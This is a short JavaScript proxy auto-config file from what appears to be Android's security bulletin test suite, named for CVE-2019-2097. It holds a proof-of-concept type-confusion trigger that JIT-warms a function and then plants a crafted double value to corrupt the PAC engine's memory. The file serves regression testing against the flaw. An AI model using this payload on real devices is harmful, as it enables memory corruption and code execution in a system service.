hostsidetests/securitybulletin/res/CVE-2019-2097.pac

function FindProxyForURL(url, host){
    for (var  i = 0; i < 0x10000; i++){
        f();
    }
    array[0] = double_arr;
    f();
    try {
    double_arr[1].x;
    }catch(e){}
    return "DIRECT";
}

var double_arr = [1.1, 2.2];
var array = [[0.1],[0.1],[0.1]];

function f(){
    double_arr[0] = 3.3;
    for(var i = 0; i < array.length; i++){
        array[i][0] = {"abcd":0x4321};
    }
    double_arr[1] = 6.176516726456e-312;
}